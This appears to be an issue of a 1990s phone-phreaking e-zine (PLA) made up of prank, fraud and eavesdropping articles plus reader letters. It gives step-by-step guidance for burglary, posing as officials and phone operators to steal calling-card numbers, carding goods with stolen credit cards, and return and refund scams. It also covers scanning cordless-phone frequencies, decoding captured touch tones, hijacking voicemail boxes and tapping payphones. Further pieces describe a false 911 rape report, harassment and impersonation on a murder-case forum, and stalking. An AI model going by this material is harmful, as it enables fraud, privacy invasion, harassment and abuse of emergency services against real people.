When they finally leave, break into their house and take note of where all of their phones are located. Rearrange the location of all the phones so that their cordless phone will be in the spot where it will get the most use.

An even better idea would be to steal all of their other non-cordless phones so that they would have no choice but to use the cordless one. If you feel bad about stealing their phones, bring a supply of cordless phones with you and replace all of their old phones with cordless's.

House #3: Get a t-shirt and use a permanent marker to write "Phone Upgrade Committee" in big letters on the front so you'll look official. Now take your driver's license or student ID card, white out the "ID Card" part and pencil in the letters "Phone Upgrade Committee" so that you'll have an ID incase you're carded. You can also use this ID to get beer at 7-Elevens.

Go to their door and explain to the lady that you're with the Phone Upgrade Committee in case she doesn't know how to read your shirt. Now comes the social engineering part. A conversation will usually go like this:

*knock knock*

HER: Yes?

YOU: Hello, ma'am, I'm with the Federal Telephone Upgrade Committee and it's come to our attention by an anonymous source that the equipment inside your house may not be up to standards. May I have a look around?

HER: Why yes, of course you may.

Nose around her house a bit and pretend to be taking notes.

YOU: Well, ma'am, it does seem that two of your telephones are not up to code. The one in the kitchen and the one in the bedroom are both in very hazardous conditions.

HER: Hazardous?

YOU: Yes, the new Telecom Bill of 1995 states that no phone in the house should have any visible wiring around it, meaning that you have no choice but to go buy a cordless phone right now. By owning these old phones you're clogging up the phone lines and using up resources that could costs lives if there were an emergency.

HER: I had no idea...

YOU: Well, I've heard that one before. Since this is your first offense, I'm only going to write you a warning but I will have to visit you again in 48 hours to ensure that you've upgraded your equipment. You'll need to buy standard 10 or 25 channel cordless phones on both of those lines.

House #4: Call up your neighbor and say in a really fast voice, "Hi, this is Ken McCarthy from KPLA radio and you're live on the air! You've got a chance to win one of ten fabulous prizes this morning if you can answer our trivia question. Are you ready!?! ...Okay, now listen carefully...what time is it right now? You've got ten seconds..." - "Uh... 10:43?" - "You're absolutely correct!!! You've just won yourself a brand new state of the art cordless telephone! How do you feel??!"

Go on like that for awhile, take down his name and address so it'll sound official, then use a stolen credit card and mail-order a cordless phone to his house. Hopefully he won't think anything of the invoice attached to the box.  A good catalog to card a cordless phone from is Damark. Their phone number is 1-800-729-9000.

House #5: Get your little sister to dress up in her girl scout outfit and start going door to door selling Girl Scout Cordless Phones really cheap. Most people have a hard time saying no to little kids. If you don't have a little sister, either kidnap one or dress up in the outfit yourself.

House #6: Call these people pretending to be a telemarketer selling cordless phones. Keep going on and on and on until you sell one. If they hang up, call back. Explain to them that this particular cordless phone has a feature called annoyance block which blocks all incoming calls from all telemarketers. Tell them the phones are earth-friendly. Tell them that 90% of the profits go to help poor kids in New Jersey. If after a week of bartering them they still won't buy a phone, ship one to them anyway, COD.

Cordless Returns - Tricking Employees:

In a few of the examples above, you replaced people's old rotary dial phones with cordless phones. If this is something you cannot afford to do then you're going to have no other choice but to scam Wal-Mart.

You've all heard of the old "turning your 2400 baud modem into a 28.8 baud modem" trick where you buy a nice, modern modem, take it home and return your 2400 baud modem for the same price. Well, this also works with cordless phones and is very easy to pull off.

First you'll need to buy a good supply of replacement antennas for cordless phones from the nearest Radio Shack. Any kind will do, just get a lot of them.  Shoplifting is optional. Now go home and open your closet. If you've been doing a good job at replacing your neighbors' phones then a pile of old crappy phones will tumble out of the door when you open it.

Hopefully when you bought the cordless phones you saved the boxes and receipts. Take one of the old crank phones and using black electrical tape, attach one of the cordless phone antennas to the handset of the phone. Looks just like a cordless phone now, doesn't it? If the black tape is noticeable, try using multicolored electrical tape.

Now shove the phone into one of the cordless phone boxes, find the receipt and  take it back for a full refund. The refund lady should give you no problems because if she opens the box and sees your "cordless" phone in there, she'll have no reason not to believe you. If the phone is bigger than the box, just shove it in sideways or something and if the box bulges just tell the lady that you couldn't figure out how to get it in there. If you have a large enough assortment of phones and boxes, though, this shouldn't be too much of a problem.

Frequencies:

This will be the third issue of PLA that I've published the cordless phone frequencies in. You'd think that we're getting pressed for material... well,  we are, okay? Below is a listing for 10 & 25 channel cordless phones. It's best to use the frequency listed under "base" because you're most likely to get both sides of the conversation there. Sometimes if you also program in the handset side, you can hear what's going on in their house while they're not on the phone. I've found this quite common in most areas but don't usually bother with it since the sound quality sucks.

Channel   Base          Handset

1        43.720      48.760

2      43.740      48.840

3      43.820      48.860

4      43.840      48.920

5      43.920      49.000

6      43.960      49.080

7      44.120      49.100

8      44.160      49.160

9      44.180      49.200

10               44.200      49.240

11               44.320      49.280

12               44.360      49.360

13               44.400      49.400

14               44.460      49.480

15               44.480      49.500

16               46.610      49.670

17               46.630      49.845

18               46.670      49.860

19               46.710      49.770

20              46.730      49.875

21               46.770      49.830

22               46.830      49.890

23               46.870      49.930

24               46.930      49.990

25               46.970      49.970

Channels 1 through 25 are the 25 channel phone freqs (of course) and channels 16 through 25 are the 10 channel freqs. If you only have a ten channel scanner then program in 16 through 25.

Voicemail:

With voicemail boxes attached to pagers becoming so popular these days, I'm hearing more and more people call in to check their messages. After you get their voicemail dialup and pass code you're in for a lot of fun and possibly even jail time. (opportunity to hack the jail pay phones!)

You'll be able to listen to all of their messages, erase all their saved messages, change their passcode (31337), change their "user name" and sometimes you can even set up a phone number to be called when messages arrive.  This can be fun to set up to a person's house who you don't like, especially if it's a call-back system that asks for a code. If the person doesn't know the code then they'll continue to get calls constantly until they figure it out.

What's even more fun is that you can send a message from your victim's mailbox to any other user on the system. Just punch in random mailboxes and start leaving messages for everyone else. It's fun to hear them reply and yell at you. If you want to ensure that your neighbor will disconnect their cordless phone forever, you can record the cordless conversations and play them back into their voicemail.

Don't get too eager with their box at first, though. Give it time, write down the specifics of their messages, do a little spying and don't change anything around or delete anything. They'll notice if you listen to their new messages because when they call in later, those messages will have turned into "saved" messages. So don't be so eager, you'll get to hear them on the cordless anyways. Keep it cool at first, then give 'em hell. They'll probably change their password a billion times and never figure out how the hell "hackers" keep getting the new ones.

Decoding Tones:

After listening to your scanner for awhile, eventually you'll hear information given out that people should just not give out over a cordless phone. People have the mentality of, "Oh, I know it's possible to listen to cordless phones but there's nobody like that in my neighborhood." Only once have I heard a person switch to a non-cordless phone because they were about to give out a credit card number.

An even bigger mistake by cordless phone users is to assume that even though they're smart enough not to "say" a calling card or credit card number over the cordless, it's plenty safe to type it in because nobody can understand touch tones. By listening into people's phones, you WILL hear all kinds of account numbers, credit cards, calling cards and voicemail dialup numbers and passcodes. Here's just a few easy ways to decode these tones. Of course, this always assumes that's you've taped the tones. Always have a tape recorder with you when listening to your scanner.

By Ear:

Some people can actually tell each tone apart without the help of a tape recorder or anything. But let's assume you can't. Pick up your phone and play the first two or three numbers from your tape recorder. Keep rewinding and playing these same three tones over and over. Each time you play the tones try to imitate them with your phone. (or your un-modified red box.) After you feel you've mastered the first few tones, continue to the next couple and go on until you've figured out the whole thing.

If the person who originally dialed the number dialed slowly, then this will be rather easy. If they dialed fast or used a speed dial button, you're going to have to work at it for awhile. If you know it's a calling card number that was keyed in, then most likely the first six digits will be your own area code and prefix. If you already have the person's phone number, then you have the first ten digits and only have to figure out the pin code. Some cards don't use the home phone number, though, and are just a random string of digits.

If it's an access number (to a voicemail box, for example), the number might start out with 1-800 so try that at first to see if it matches. If you're getting a calling card number, make sure that you get the access number if needed. For example, MCI cards will only work with their 800 access numbers, which is 1-800-888-8000. Sprint will usually work with any carrier but their access number is 1-800-877-8000. Don't slow down your tape speed because this will distort the pitch of the tones. (duh)

Sound Blaster:

Record the tones onto your computer in WAV format. Basically, you use the same method to decode the tones but it's a lot easier because you can cut out all the tones except the one tone you're currently decoding and just loop the sound. You'll be able to decode each tone in just a few seconds. I recommend the Cool Edit sound editing program because you can have the entire string of numbers in a file and loop any one part of the string without having to do a cut and paste job like on most editors.

DTMF Decoder:

You can actually buy a box that has an LED display which will show any number it hears. This can be hooked up to any audio source, including your scanner.  This devices usually run about $100. You can also find shareware DTMF decoders which interface with your sound blaster card. Most of the ones I found were limited to only 5 or 7 numbers until you registered the program.

Invalid Mailbox Number:

Call up a voice mail company where you're prompted for a mailbox number. When it asks for the number, play your tape recorded tones into the phone and the voicemail company's computer will reply with, "I'm sorry. Mailbox number 8402 (or whatever) does not exist. Please try again." Most voicemail boxes are only four digits long so you'll have to play in each part of the recording until you have all the numbers. Once you have it all, repeat the process just to verify that all the numbers are correct. Sometimes you'll accidentally hit a good mailbox. If it doesn't read you the mailbox number, just forward the recording a little and try again.

Pagers:

If you or a friend has a pager, you might be able to get the whole code in one shot. Just call the pager number and when it asks you to enter in the number you're calling from, play the recording, then hit "#." You'll be paged with the results. Try this several times just to make sure it's decoding the numbers right.

Warning:

Once you have the 800 number do NOT call it from your house directly if you're going to cause trouble with it. Unless you know how to cover yourself, use a pay phone. I know it's a stupid warning but there are people like Mr. Hack reading this who wouldn't think of that.

Ramsey Forum Fun - Logic Box

Most of you have probably heard about the six-year-old child beauty queen JonBenet Ramsey who was molested and murdered recently in Colorado (and if you haven't, well then you're retarded, ok?). While searching the World Wide Web one day, we stumbled upon a WWW message board created by Boulder News in Colorado which was intended as a means of communication for those who were interested in the JonBenet Ramsey case. Now, we all felt really bad for that girl when we heard she had been murdered, and in no way did we mean any disrespect toward JonBenet Ramsey herself, but we just thought it would be kind of fun to trash their forum. I think me, Tannest, RBCP, and Colleen Card are mostly responsible for it, along with several #rock idiots.

We started off just arguing against anything and everything that people posted to the forum, and it was funny to read all their half-witted replies to our rants (the forum is mostly dominated by a bunch of 80-year-old women who have no computer experience whatsoever). Later on, we thought it would be fun to start impersonating people on the forum and posting as them, and we managed to drive several regulars off the forum this way.

Later on, we told RBCP about it and he thought it was pretty funny too, so him and Colleen started posting on it. He used the name ErikB and posted all kinds of LOD/MOD war t-shirt ads on it, then an ad for the new JonBenet Ramsey murder t-shirts which really riled up a few folks. By this time the forum was just completely fucked, but we were having too much fun to stop. Tannest decided to search the web for lots of odd and perverted things, and started posting all kinds of weird shit to the forum.

Desperate to get the hell away from us, the forum regulars decided to turn to IRC for their Ramsey-talk, figuring that they could just "kick the hackers off." This proved to be rather difficult for them, as they experienced constant harassment from all the wonderful #rock regulars. Thanks to me, they now get extremely paranoid when anyone with a hostmask located in Santa Clara, CA enters the channel. Fucking morons.

Through all of this, one especially crazed forum regular who calls herself Teacher has refused to be driven away from the board. In spite of this, she has been driven insane by our mad posting frenzies and nonstop attacks against her. While we haven't been able to track her down, we have gathered that her first name is Jayne and that she is a librarian. We've also completely ruined her previously good reputation on the forum by constantly impersonating her and using her handle to slander the rest of the morons who post there.

Recently, RBCP received e-mail from a Ramsey forum regular who was curious just as to what the hell the PLA is and why they have been doing to this message board (we posted lots of PLA advertisements and other strange things). The e-mail read: "I find it hard to believe this person is PLA, they lack your obvious comedic brilliance. I suppose they are just PLA wannabes. Sorry if I intruded on your day with a foolish question but you were the first one listed on the e-mail page."  Regards, Hominid <hominid@earthlink.net>

While it is true that a lot of the posts some of us made were utterly stupid and lacked creativity, much thought was put into several of the posts. This letter and its writer annoyed RBCP, so he sent the following reply:  "Hahaha, actually I'm one of the people intruding on the Ramsey board. You might remember me as erikb, the t-shirt salesman. No offense intended but we had a lot of fun stirring up shit there. I haven't posted anything in about three weeks now but I'm sure that others are still at it. If you want to yell at them, go into irc.dal.net's #rock."  See ya, RBCP <bac@bright.net>

Soon after this reply was sent, a post appeared on the forum that read "I'm so glad to hear that Peak.org is pulling the plug on Mike Ockurts."  Mike Ockurts is the fake name that RBCP used for his account at Peak. This freaked Colleen out and annoyed RBCP even more, so he posted the following snide message to the forum:

"Is this what you consider to be detective work? Don't jump the gun just to be the first, put some effort into it and you can really find out who I am.  It's not that hard, I'm not exactly 'not listed.' But the question is, what do you suppose you can do once you find me? Have fun!"

They haven't made anymore attempts to try to stop us yet, other than a couple of stupid and incredibly inaccurate tries to guess RBCP's real name. We don't post to the forum as much as we used to, but there really isn't a need to since it's been invaded by a zillion other people just like us. They still get freaked out when I come to their channel and sit for hours without saying anything, and I usually get kickbanned on sight because my hostmask contains the words "Santa Clara."

That about wraps up our antics on the Ramsey forum so far. The forum is located at http://www.bouldernews.com/cgi-bin/forum.cgi?Ramsey if you want to check out the latest assortment of insane postings. Their IRC channel, #cybersleuths, can be found on the NewNet IRC network (irc.aohell.org,  irc.tscnet.com, or irc.eskimo.com). Go there and tell Jameson that the PLA says hi. Let us know if you experience anything strange or interesting with these weird people.

PLA Isn't Real! - Kenshiro Cochrane

h0la.  For those of you who don't know who I am, I am Kenshiro Cochrane. My nicks are kcochran, or chran.  You can find me on the EF, usually in #rock, and any number of other channels. Now, as for those of you who don't think that I should be writing this article, I have two things to say.  This 'zine is edited by Colleen Card and RedBoxChiliPepper.  Colleen said I could write it, and if you are seeing this, then RBCP made the decision to run with it.

Hopefully we are going to clear AT LEAST one thing up with this, once and for all.  And, hopefully, people will stop their petty bickering and kick-ban wars.

Topic #1 on the agenda:

THERE IS NO GROUP CALLED THE "PLA" or "Phone Losers of America"!!! PLA is a 'zine.  The topics of this 'zine range consist mainly of phone-phreaking, prank calls, telephone harassment and of course, humor. Anyone who has ever read EVEN ONE ISSUE would realize this.

The PLA website is not the "group's" website, it is a support site for the 'zine.  Visit the site.  Check it out.  Then you will see what I mean.

Lately in #rock, there seems to be a pissing match going on.  People arguing over whether they are a member of the PLA or not, arguing who is or isn't, and arguing over whether there is even a PLA.  ALL OF THIS IS MOOT.  There is no PLA, no one is a member.  Apparently, this point just can't be stressed enough.  So, just for the record, let's give a brief rundown on the history of PLA.

1) Zak (el_jefe) tells RBCP that he want's to start this el33t euber-hacker-ninja-phonephreak group, and that he is going to call it the "Phone Losers of America"

2) Zak comes down to Austin to vist RBCP for HoHoCon. They get some business cards printed that say, you guessed it, "Phone Losers of America" on them.  They stick these all over shop windows and store aisles for some poor SOB to clean up.

3) Here there is a pause...nothing happens for a while.  RBCP decides to pull out some old text files that he wrote a long time ago, in a galaxy far, far away.  He freshens them up a bit, then adds a header and a footer to them that says "Phone Losers of America" and releases them. This is where we get PLA001 - PLA013 (or around there).

4) RBCP and Colleen Card write/edit/produce/release about 30 more issues of PLA, as the 'zine has come to be known.  OCCASIONALLY, there is a guest writer, or someone contributes a small piece to the 'zine.  But, usually, it is a work produced solely by the efforts of RBCP and Colleen Card.

Perhaps where people get the idea that the PLA is a group is that most, if not all, of the issues of PLA have a footer that state "Contact the PLA Nearest You!".  Yes, that is a little confusing, it sounds like the PLA is a group.  But if you have ever read the 'zines, or visited the webpage, you would know that this is not true.  The footer merely contains the email addresses of contributors or major supporters of the 'zine, PLA. So, let's take a look at the footer on the latest issue:

Contact The Phone Losers Of America Nearest You!

etext.archive.umich.edu - pub/Zines/PhoneLosers

ftp.fc.net - pub/defcon/PLA

bac@bright.net - RedBoxChiliPepper

zak@lemming.com - Zak a.k.a. el_jefe

pepman74@hotmail.com - To contact Colleen Card

apok0lyp@command.com.inter.net - Apok0lyps

http://www.peak.org/~bueno/pla.html - Phone Losers of America Homepage

http://www.peak.org/~bueno/plasites.html - listing of all other PLA sites

Nekid Amy nude workout pics now available. E-mail slut@nekid.com for info.

Ok.  First two entries are FTP sites where you can get the 0-day PLA. We have next 4, count them 4, email addresses.  Those addresses belong to, as you can see, RBCP, el_jefe, Colleen Card, and Apok0lyps.

IF THE PLA WAS A GROUP, THEN THESE ARE THE ONLY MEMBERS!  Don't you think that SOMEWHERE along the line, just once in the, what, 5 years? the 'zine has been being published that there would have been a member list?  The fact that there hasn't corroborates my point (for those of you with out a high school diploma, that big word there means support).

Now, take a closer look at those four names there.  RBCP and Colleen Card have been the two people that have been writing and publishing 99% of the PLA for as long as it's been around.  I can't remember an issue that Zak contributed to (well, there was that PLA099 thing), but he is the one that came up with the name of the 'zine, if nothing else. Apok0lyps has, I believe, contributed to at least ONE issue of PLA, if not more, and wrote the l33tin' PLA.IRC script.

Now, there are people who are claiming to me "members" of a non-existant group.  As Colleen pointed out last night, before I wrote this article, what has anybody besides those four people mentioned, EVER contributed to PLA (THE 'ZINE, MORON)??  Zip, zilch, zero, nada, NOTHING.

Then, last night, in attempting to get this point across, I stated that I myself was a member of the "group", PLA.  According to one person, no I wasn't.  Apparently because el_jefe invited him to "join" meant that he was a member, but the fact that RBCP, albeit jokingly (sarcasm kinda loses it's impact thru IRC and text communication), invited me to join didn't mean shit.  Apparently that means that RBCP isn't in a point to make decisions.

Let's get one more thing straight.  RBCP *IS* PLA. No questions about it. There would not be a PLA 'zine if he had not created it, there would not be a PLA 'zine if he had not supported it. If he quit publishing the 'zine today, then it would die.  Sure, maybe someone else might pick it up and attempt to carry-on RBCP's "legacy", but then it would not be PLA.  It would be a cheap hack, an imitation. Sorry folks, but once RBCP decides to quit publishing PLA, it's dead.

Topic #2:   "THE PLA HAS TO BE A GROUP BECAUSE I HAVE MY OWN PLA PAGE!"

Give it up.  You are not in a group called the PLA.  There is no group called the PLA.  Don't make me say it again.  Your page, if you can call what most of you have a page (no offense, you just need to learn one thing: HTML), is merely a support page for the main PLA page.  By showing your support, you increase the readership.  You increase the chance that "Phone Losers of America" will show up when someone does a search on "phreaking" via Yahoo.

Sure, if you want to inflate your ego's among your friends or competitors, tell them your a member.  No one who matters really cares.  Just don't get a fat head and join #rock and act like a jackass about it, and don't lie and say "I know RBCP, I visited him at his house!".  Just give it a rest, be cool, and you probably won't get kick banned.

ONE MORE HINT:  get a decent ISP, something other than UU.NET, AOL.COM, or any of the big, nationwide ISP's.  Most of the op's in #rock, for some reason, don't like those domanins for some silly reason, and will kick-ban you on join if you are from that domain.

Anyhow, that's all that I have to say for now. I hope that clears a few things up, and I hope that some people change their attitude.  More than a couple of people are getting pissed. And one last thing, said last night by EightBall:

"#rock was not created or ever intended to be a support channel for the PLA.  That said, I'm going back to idle."

[I feel that I should make just a few comments concerning this editorial. First of all, PLA hasn't been around for five years, only a little over two years now. I know the dates on the PLA headers suggest otherwise, but that's because I left the dates that they were originally written on there. I get a lot of mail from people saying that our history file clashes with the dates on the issues.

Also, Zak (el_jefe) has done a little more for the PLA than just think up the name. Much of the creativity, input and criticism regarding the issues are done by Zak. A lot of the jokes I make throughout the issues were either thought up by Zak or thought up by me because of something stupid that Zak said. Just about everything you've read by the PLA was brain stormed by me and Zak while talking on the phone and bugging the shit out of random numbers. PLA wouldn't be half as cool as you think it is now if Zak were not a part of it. If I did sit down and write out a "PLA Membership List" it would include two names. RBCP and Zak.

People have written me many times asking how to be a member of PLA and suggesting that I form a group out of PLA but for some reason I just fail to see how PLA could possibly benefit from this. If you want to be in PLA just to have your name in print, then write an article. A cool one. Regular contributors to the PLA like Apok0lyps, Colleen and pneyz are what help me put out more than 3 issues per year. These people (and a lot of other unmentioned people) are more a part of PLA than anybody.

Thirdly, #rock is a channel full of idiots. (efnet's #rock, anyways.) If you don't have close ties to the PLA then expect to get kicked as soon as you join. For awhile, even Colleen Card was getting kicked because Dazen didn't recognize her at first. There was a time when #rock was a really fun channel because we'd sit in there and wait for headbangers to come in so we could type obscene messages at them until they were  disgusted enough to leave. Now they just get kicked and the channel's ban list includes most major countries and ISPs.  What's the fun in that?

And lastly, the "PLA State Web Pages" were created because some guy in Virgina asked me if he could create a PLA site for the east coast. I thought that would be a great way for people to get to know what the phreak scene was like in other parts of the United States, so started offering links to people's "PLA City" pages to whoever claimed them first. More than one person has told me that I've sold out the PLA because of this idea but I don't see  it that way. After all, the state pages have not changed the content of the actual PLA 'zine in any way. (Other than this rant I'm on here.) Some of these state pages consider themselves a group and write their own issues which is fine by me - I'm just not a member of this group. So those are my thoughts on the whole situation right now. Hopefully kcochrane's article has cleared a few things up. -RBCP ]

How to Get Free Videos (or close to free)  --  by pneyz (pneyz@armory.com)

Have you ever wanted to own a copy of that new release, whether it is Hackers, Trainspotting, or Up To The Hilt VII, but you didn't have enough money or it was only in the videostore? Well, here's how you to can score those hard-to-own movies. Hell, you could even make some money selling them to friends.

The first way only works if you live in a small town with a low crime rate (like me!). You can usually just go to the video store and rent the movie. Go up to the counter and check it out normally. They'll ask for your account or membership card. Tell them you left it at home and don't remember the number. A lot of the small stores will then just say, "Okay, what's your phone number?"  You give them someone's number and name (in a small town, most people will have accounts at the video store). THen take it home and never bring it back.

The next way is a bit more complicated but it'll work if the store requires the card or account number. It's also a lot more fun and the video store won't even know they've been ripped off. Rent a video like normal, take it home and copy it. Most of you are saying, "You fucking idiot, I can copy a tape, but the copy's not as good as the original, which is why I'm reading this." You're totally right. But shut up anyway and let me finish.

When you have a copy (of the WHOLE movie, including the FBI warning and credits), rewind both tapes and take them out of your VCR's. With a small screw driver, open them up and exchange the actual tape reels. Close them up and return the copy in the original case to the store. Now you have two options.

1) You can just return it as usual and go about your life. The drawback here is that next time someone rents that movie and sees that it's all crappy, they'll go to the store and complain. The store will check the records and see that you were the last person who rented it. They won't think to much of it, unless it happens a LOT, then they'll figure it out and probably call you and get pissed.

2) You can be the person who returns it and complains that the quality wasn't very good. The drawback is that they'll start to see a pattern after an even shorter time than with Option #1. The pro side is that you can probably get a free rental out of it, copy that, and just return it like in Option #2.

Switching the tapes is pretty hard at first, but it gets easier as you do it more. Here are a few things to remember:

- When opening it, fold it open so you don't rip the label, and open it so the reels are facing down (ie. swing the top up).

- The tape goes like this (from the left side of the tape): up by a pin on the inside, then on the outside of a larger pin and across the head to go between two other pins and into the other reel. This is really hard to explain but you should see what I'm saying after looking.

- Make certain not to lose the spring(s) that are located in the middle of the bottom, because these control the things that let it play, fast forward and rewind.

- When you're putting it back together, it might seem a little stuck unless you're just setting it right down (which requires ripping the label). You should be able to just force it, and it'll pop in with no damage to the tape.

- Make certain not to get the tape itself caught on anything when you're putting it back together.

- As a technical note, all the tapes I've done this on use a small phillips head screwdriver.

- There should be no compatibility problems so you don't need to get the same brand of tape as the rental. This is because the VCR needs to know where to look for the tape and switches.

You could also set up a fake account and charge it to there, but a lot of stores require a deposit or startup fee to stop people from doing that. And if you're not 18 or 21, forget it unless you've got a fake ID.

*** NOTE *** NOTE *** NOTE *** NOTE ***

Hey you schmucks. I know you love the PLA FTP site, and so do I. But stop sending me all your PLA questions and stuff.  I don't run PLA.  If I did,  you wouldn't be reading this because I'm too lazy to run a zine. But RBCP is running this thing and doing a half-decent job too.  So email him with all your pathetic shit, not me!!!

Oh yea, the FTP site is currently at: ftp.armory.com/pub/user/pneyz/pla

Email RedBoxChiliPepper at: bueno@peak.org  *or* bac@bright.net

*** NOTE *** NOTE *** NOTE *** NOTE ***

More Calling Card Ideas – RBCP

These are just a couple of ideas for stealing calling cards. I've never been able to pull off the 'ole, "Yes, this is Bell security and your card has been massively abused. Just give me your old card and I'll renew it." I'm a fairly good social engineerer, but that one just never worked for me. But several months ago while annoying random people on the phone, I accidentally talked someone into giving me their card number. Minus the obscene words I used in the original call, this is sort of how it went:

THEM: Hello? (a lady answers)

ME: Yes, this is the AT&T operator, I have a collect call from Mr. Heggie, will you accept the charges? (Note: I picked the name Gordon Heggie at random from the phone book.)

THEM: Yes, of course.

ME: Okay, let me put the call through. (click, click) Hello? Ma'am?

THEM: Yes?

ME: It's not going through for some reason. Do you have a collect call block on your phone?

THEM: No, I shouldn't. We've gotten collect calls here before.

ME: Well, that's odd. It won't let me put the call through. You'll have to contact your local phone company about that problem. I'm sorry for the ring.

THEM: Well, wait, which Mr. Heggie do you have on the phone?

ME: I don't know, they just said Mr. Heggie and that it was an emergency.  He'll have to call you back another way.

THEM: But where is he calling from?

ME: It's from a pay phone but I don't know the location. If you'd like, I can bill the call on your end to a third number or maybe a calling card.

THEM: Okay, let me get my calling card...

Easy, eh? And I swear, sit down with your phone book and about every third or four call will work out this way. Sure, you'll get the occasional, "He can't be calling collect, he's sitting right here" but most of the time they'll accept the charges or just assume it's another "Heggie." One lady even said, "No, it can't be Mr. Johnson because he's here at home. It must be Eric." to which I wittily replied, "Yes, it's from Eric, TO Mr. Johnson."

Once you have the calling card number, claim that you're putting the call through, then hang up. Or claim that the person on the pay phone hung up.  Some people will know something's up when they talk to the "Mr." and find out he wasn't really calling, then they'll cancel their card so use it while you can. Only a small percentage of the people do this, though, thinking it was really an AT&T operator but a prank caller on the pay phone.

Pay Phone Transmitter:

This can be done several ways and it very easy to set up. All you need is the telephone conversation recorder from Radio Shack ($15.00) and some kind of transmitter. Any transmitter will work, such as Radio Shack's FM transmitter for $19.99. The little kids walkie talkies that you see at toy stores are also acceptable since you're dealing with a very short range.

Select your pay phone and make sure it's a phone that gets a moderate amount of use, preferably where higher-class folks hang out such as a nice restaurant.  Look for the wires that come into the phone, splice them open and hook up the conversation recorder. (Most likely it's the red and green wires you'll want to splice into.) Now plug the conversation recorder into your transmitter and hide it all wherever you can. You might have to duct tape it all to the underside of the phone or something.

All you have to do now is sit on a nearby bench or table with your walkman and tape recorder and wait for customers. If you're smart, you'll fill the pay phone's coin slot with glue and put the other nearby phones out of commission with a sledge hammer so that making a collect call on your phone will be their only choice.

Phone Tricks - by wiretap

Refunds from non-Bell phones:

You can actually hit the jackpot getting refunds from non-Bell fones. You can get the big checks from AT&T, and hit the little guys up for 3-4 bucks each.  From a COCOT, call an expensive place (Canada or a far-off U.S. place). Most fones won't allow calls to a foreign country.

Now, look on the fone for the number it has for refund/repair. They are required BY LAW to display this, however, some still don't.  Usually it's 211 (after dialing, you can hear the fone dialing an 800 number). When the operator answers, tell them that you just dialed this number and lost your money because the fone got screwed up. After that, they will want the same info as the AT&T operator (number you were calling, what happened, etc). This part is easy.  They will mail you a check for the amount you "lost" in the COCOT.

A friend of mine dealt with a COCOT company which sent him a 3 minute prepaid card. I don't know which company it was, but most will send you cash.  Surprisingly enough, most operators at the COCOT companies I've dealt with have been fairly courteous.  Most however, are also very unintelligent, even more so than AT&T operators.  Sometimes, you have to explain exactly what happened like you would to a six-year old, but I usually get my check within 2-3 minutes of explaining.

If I go to a few fones (one Bell fone for the jackpot and a few COCOTs with different carriers), I can make around $20 a day.  Also, if AT&T sends you that letter from the Coin Refund Investigation Unit, located in a nice big window PO box, you still have the COCOT companies to get checks from!

Free Calls via Relay:

You can call anywhere in the U.S. free via relay if you op-divert. Just have the operator call relay in the destination state of your call.  Once you're connected, they will ask for the number you're calling FROM. Give them a number local to the one you're calling.  They will place it as a local call, and nobody will be billed for it!

Free calls through Sears:

If you have a Sears nearby, call them and say you're from the phone company and you need an outside line.  Here's how it usually goes:

Them: Sears, may I help you?

Me: Hello, this is Richard Nixon calling from Pacific Bell.  I'm running a test right now on business lines in the area.  Could you give me an outside line?

Them: One moment.

ME: MUHAHAH!  I've got them now.

Them: Here you go....Click...BONG

ME: Dials 911 and tell them that I'm being raped RIGHT NOW by the manager in the ass. I then proceed to have my friend yell "SHUT UP!", while grunting.  Then, I go down there and watch the phun!

Another method is to get transferred to the main desk from an extension and then just say "Hi, I'm calling from (the extension that transferred you), could I have an outside line please?".  This works sometimes as well.

Just one note, be VERY careful to hang up by the time Sears closes, or they will notice that the guy from baby clothing is still there making a call. Of course, if you use the phone company scam, then stay on as long as you want (within reason).

Free Juno from anywhere in the US:

If you don't have a Juno local access number, just go to the extension box under dialing options, click yes, and enter 18005754518.  Now Juno will dial their toll-phree number everytime you call in to get an "outside line".  It will also dial the number you gave it, but by then, the call will have routed already, making that dialing useless. Now Juno can be free for all!  Just remember that if you do have a local number, use it so they don't completely remove the 800 number or place restrictions on it (such as only new accounts can dial in), and the rest of us without local numbers can continue to enjoy the 800 number.

Police Log

Clerk, money missing from store - Taken from the Alton Telegraph, April 1,1993

WOOD RIVER - Police are looking for an employee who apparently cleaned out a safe and disappeared from a 7-Eleven Food Store early today.  An undetermined amount of cash and money orders was missing from the store in the 600 block of Wood River Avenue, said Sgt. Terry Mason who is investigating the theft. "A customer walked in the store about 3:20 a.m. and there was no one inside," Mason said.  Mason sped to the store and found the employee had fled with the cash and money orders. "He left in a cab with a girlfriend," Mason said.

Letters  (bac@bright.net)

I was wondering where I could get one of those cool phones the Bell guys carry around. I've tried PLAN A:(Breaking into a Bell Truck) but the doors are always locked and I besides I don't feel like going to jail on a stupid charge like that. Perhaps I could purchase one or possibly there is another solution.

Thanks,

fL!P33

[A company called Inland Distribution sells them in the back of 2600 for $65.00. Their phone number is 1-800-253-3605.  Really, though, it's so much easier to just borrow one. Try the Zak method - send a Bell truck to a local business, wait outside for it to show up and when he goes inside, loot away!]

------------

I'm 15 and live in Rhode Island (401).  I walked to the local Radio Shack on Saturday afternoon to buy myself a brand-spankin' new tone dialer.  I asked the employee where I could find them and he showed me.  As I picked it up and proceeded to walk to the counter the manager came FLYING out of the back room and kind of stoped himself short because he looked like a total idiot.  He quickly gathered himself and said to the guy at the register "I wouldn't sell that to a minor."  The man looked at me and asked how old I was and I told him 15 because there is no way I could pass for 18.  So another employee man took the dialer and put it back on the shelf.  Then the manager called the confused employees over and whispered something to them... I'm not sure what.  I was pissed off so I left.  I went to a different Radio Shack the later that day and they sold it to me with no hassles.

I'm not sure why he did that... maybe the Radio Shack employees are catching on to us. The number of that Radio Shack is 401-821-9005 if you want to call them up. By the way, I'm going on my first beige boxing expedition tonight with my friend. I printed out your list of #'s and I'll be sure to call Chris Tomkinson multiple times!

Simpkins

http://www.sitexpress.com/

[I thought I'd be fun to pose as a Rhode Island newspaper and call the manager pretending to do a story so I called him up and asked him why he wasn't selling tone dialers to minors but he just kept denying everything so I had no choice but to be really stupid at him.]

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The detailed account of the cordless phone adventure reminded me of a similar incident that happened to me several years ago. I picked up the frequency of a cordless phone in my apartment complex. It belonged to a young lady who had a (bad?) habit of spilling her guts out over the phone to her female friends, her mom, etc... I fell in love (love?) with her voice, her personality, over months of time.

At one point, she told someone that she was about to leave her place, and drive away in her truck. Naturally, I immediately spotted her in the parking lot. She was beautiful, and I had her innermost thoughts recorded on tape. It's not like I was stalking the poor girl, she just happened to use a cordless phone -- what can I say?

I sent her a few anonymous letters of admiration -- nothing too wild or scary -- just hi, I'm out here, I think you're beautiful, and by the way, here's a few personal things I know about you...

She called her mom everytime she got a letter, and couldn't guess who this "stranger" was....

